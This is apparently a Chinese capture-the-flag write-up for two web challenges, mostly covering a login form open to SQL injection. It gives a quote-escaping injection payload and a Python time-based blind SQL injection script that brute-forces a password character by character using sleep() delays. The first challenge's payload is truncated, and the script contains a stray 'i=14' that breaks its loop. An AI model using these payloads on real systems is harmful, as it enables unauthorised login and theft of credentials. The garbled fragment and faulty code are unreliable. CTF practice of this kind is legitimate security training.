0x01 WEB_你取吧
题目源码
提示flag在/flag中 payload:
?code=]=1?>
0x06 WEB_Login_Only_For_36D经过测试用户名中只要有admin即可进行注入, 猜测sql语句为
select * from users where username='$username' and password='$password'
因为过滤了引号但是留了注释符,那么我们可以用\将单引号转义 构成如下语句select * from users where username='\' and password='||1#'
但是发现没能登录成功,看来我们需要将密码爆破出来了 经过手工尝试,发现密码字段为password并且长度为15 没有过滤if可以使用时间盲注,但是过滤了substr和ascii,我们可以right和mid代替,脚本如下import requests url="https://5bbdd868-4f7e-4a8e-b209-3533bea0182d.chall.ctf.show/" k="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" flag="" for i in range(6,16): print(i) i=14 for j in k: j=ord(j) data={ 'username':'admin\\', 'password':'^if(ord(right(password,{0}))like({1}),sleep(2),1)#'.format(i,j) } #print(data['password']) try: r=requests.post(url,data=data,timeout=(2,2)) except: flag+=chr(j) print(flag) break
登录成功即可得到flag,但是需要将得到的密码逆置 ps:需要根据自己网络进行延时的调整,不然可能会不准确